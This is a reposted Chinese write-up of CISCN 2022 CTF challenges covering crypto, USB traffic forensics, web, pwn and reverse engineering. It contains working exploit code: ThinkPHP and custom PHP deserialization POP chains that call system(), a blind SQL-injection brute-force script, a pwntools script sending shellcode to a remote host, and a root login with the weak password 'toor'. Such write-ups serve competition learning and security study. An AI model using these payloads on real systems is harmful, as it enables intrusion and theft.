

CISCN2022
source link: https://sakurahack-y.github.io/2022/06/20/ciscn2022%E5%88%9D%E8%B5%9B/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

[TOC]
crypto
根据公众号给的提示,可构造出脚本
a='5543053560369047024142002765898038342775948119489181360354534575324142175929505171739721800870791249314864251567972295612874802183218042622056229755674962381242884261754543945970151712920835729189983000341612995263262927255805323073625456260457938936828798227686401899839962031005363203251056213941366146686875718432385301325733733171999005964405664494560905422663352160064965067318132130228461655121372448333527884088007285116323305598946651171485490621766011242810388503390388653399069240050404600114824579296172741241184113479'
a=a[0:28]
tmp='0'
b='1732251413440356045166710055'
for i in range(28):
print((ord(a[i])+ord(b[i])-2*ord(tmp[0]))%10,end="")
访问url:
xxx/send?msg=s
xxx/send?msg=6275204973709393069208712710
基于挑战码的双向认证1
基于挑战码的双向认证2
非预期解:
连接ssh
/root/cube-shell/instance/flag_server 目录
两个flag全在里面
基于挑战码的双向认证3
连接ssh
/root/cube-shell/instance/flag_server 目录
su root
弱口令密码:toor
直接填问卷即可得到flag
tshark -T json -r ez_usb.pcapng > data.json
导出json数据
经过分析,它是有两个键盘流量。
import json
jsonData=""
with open("data.json") as f:
text=f.read()
jsonData=json.loads(text)
data_1=""
data_2=""
for i in jsonData:
try:
if i["_source"]["layers"]["usb"]["usb.src"]=="2.8.1":
data_1+=i["_source"]["layers"]["usbhid.data"]+"\n"
else:
data_2+=i["_source"]["layers"]["usbhid.data"]+"\n"
except:
pass
print(data_1)
print(data_2)
分别保存为1.txt,2.txt
使用网上现成得脚本进行提取数据
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('1.txt') //2.txt
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()
flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))
发现是一个压缩包,第二个为密码
解开即可得到flag
Ezpop
https://www.freebuf.com/vuls/321546.html
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['cat /flag.txt']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
echo(urlencode((serialize(new think\model\Pivot(new think\model\Pivot())))));
}
ls / 查看
读flag
ezpentest
waf脚本如下:
<?php
function safe($a) {
$r = preg_replace('/[\s,()#;*~\-]/','',$a);
$r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
return (string)$r;
}
?>
在比赛中是没有给出代码的
考察sql注入,和2022虎符babysql很相似。
可利用case when注入,可构造出payload
0'||case'1'when`password`collate'utf8mb4_bin'like'{}%'then+18446744073709551615+1+''else'0'end||'
过滤了取反导致不能利用0+1来制造溢出,但是我们可以利用 18446744073709551615+1(它就代表0+1)来制造出溢出,当匹配到正确字符时,服务器会报500,否则就返回’0’,服务器会报error。或者用9223372036854775807+1也行
由此可构造出脚本:
import requests
import string
url = 'http://1.14.71.254:28470/login.php'
result = ''
ceshi = ''
lis = string.ascii_letters + string.digits + "^!%@_$%*"
gl = "%*()_"
while 1:
for i in lis:
if i in gl: # 这里是对like正则匹配中的一些特殊符号进行转义
i = "\\" + i
ceshi = result + i
payload = "0'||case'1'when`username`collate'utf8mb4_bin'like'{0}%'then+18446744073709551615+1+''else'0'end||'".format(ceshi)
#print(payload)
#username 改为 password即可得到密码
data = {
"username": "666",
"password": payload
}
response = requests.post(url, data=data)
if response.status_code == 500:
print("success!")
result = result + i
res2 = result
print(res2.replace("\\",""))
break
elif response.status_code == 0:
continue
else:
continue
可得到账号密码:
nssctfwabbybaboo!@$%!!
PAssw40d_Y0u3_Never_Konwn!@!!
进去后得到一串乱码文件
查看源代码
发现是phpjiami加密
github有相应的工具:https://github.com/wenshui2008/phpjiami_decode
但是如果直接复制粘贴下来解密大部分情况都会漏字符,而phpjiami这里解密相对比较苛刻,少一个字符都会解密失败,可以采用脚本把混淆代码保存下来再解密,把url和cookie改成你的就可以了
<?php
$url ="http://1.14.71.254:28470/login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt ($ch, CURLOPT_COOKIE, "_ga=GA1.1.1492528755.1648872076; session=6fdc00cf-2ec3-4924-b99b-b474ac227c2d; PHPSESSID=cbdac7b296d255ad4c2c69066c4356ec");
$result = curl_exec($ch);
curl_close($ch);
echo urlencode($result);
file_put_contents("pop.php",$result);
?>
将生成的文件放入解密脚本
最终得到一下代码
<?php
session_start();
if(!isset($_SESSION['login'])){
die();
}
function Al($classname){
include $classname.".php";
}
if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
$o = unserialize($c);
if($o === false) {
die("Error Format");
}else{
spl_autoload_register('Al');
$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
$o = unserialize($raw);
var_dump($o);
}
}else {
echo file_get_contents("SomeClass.php");
}
view-source:http://1.14.71.254:28470/1Nd3x_Y0u_N3v3R_Kn0W.php
可得到someclass的代码
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
?>
构造pop链,进行反序列化
spl_autoload_register的作用就是把后面反序列化不存在的类所在的文件加载进来
由于漏洞代码在SomeClass.php中,所以我们必须包含这个文件。
这里存在一个过滤
我们需要让它包含后直接进入destruct魔术函数
关于gc回收机制可参考这篇文章,写的非常好:https://blog.csdn.net/qq_51295677/article/details/123520193
pop链条的思路非常清晰:
E的destruct --> B 的toString --> A(rce点)
最终exp:
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
class SomeClass{
public $a;
}
$a = new A();
$b = new B();
$e = new E();
$e ->a = $b; #die函数会把$b当作字符串输出,从而调用了toString魔术方法
$b ->a = $a;
$arr = new ArrayObject(); #只要是php的原生类即可
$arr -> a = "system";
$arr -> b = "ls /";
$a ->b = $arr;
$c = new SomeClass();
$c ->a =$e;
echo(urlencode(str_replace("i:1","i:0",serialize(array($c,1)))))
?>
case1,确保unk_202028和unk_202024为1,
case2:,unk_202028和unk_202028为1的时候执行写的shellcode,shellcode必须为可见字符:
生成shellcode可见字符串:
https://github.com/TaQini/alpha3
from pwn import*
context.log_level = "debug"
io = remote("123.56.111.202",17395)
# io = process("./login")
io.recv()
shellcode = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
payload = "opt:1\n" + "msg:ro0t1\n"
io.sendline(payload)
payload = "opt:2\n" + "msg:" + shellcode + "\n"
io.sendline(payload)
io.interactive()
swift的AST树
参照swiftc的输出
构造出脚本
#include <stdio.h>
unsigned char b[] = {88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64, 91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205, 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16};
unsigned char k[] = "345y";
int main()
{
for (int i = 0; i < 42 - 3; i++)
{
unsigned char tmp = k[0];
k[0] = k[1];
k[1] = k[2];
k[2] = k[3];
k[3] = tmp;
}
for (int i = 42 - 4; i >= 0; i--)
{
unsigned char r0 = b[i + 0], r1 = b[i + 1], r2 = b[i + 2], r3 = b[i + 3];
unsigned char tmp = k[3];
k[3] = k[2];
k[2] = k[1];
k[1] = k[0];
k[0] = tmp;
b[i + 0] = r2 ^ k[2];
b[i + 1] = r3 ^ k[3];
b[i + 2] = ((k[0] + (b[i + 0] >> 4)) & 0xff) ^ r0;
b[i + 3] = ((k[1] + (b[i + 1] >> 2)) & 0xff) ^ r1;
}
for (int i = 0; i < 42; i++)
{
printf("%c", b[i]);
}
return 0;
}
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK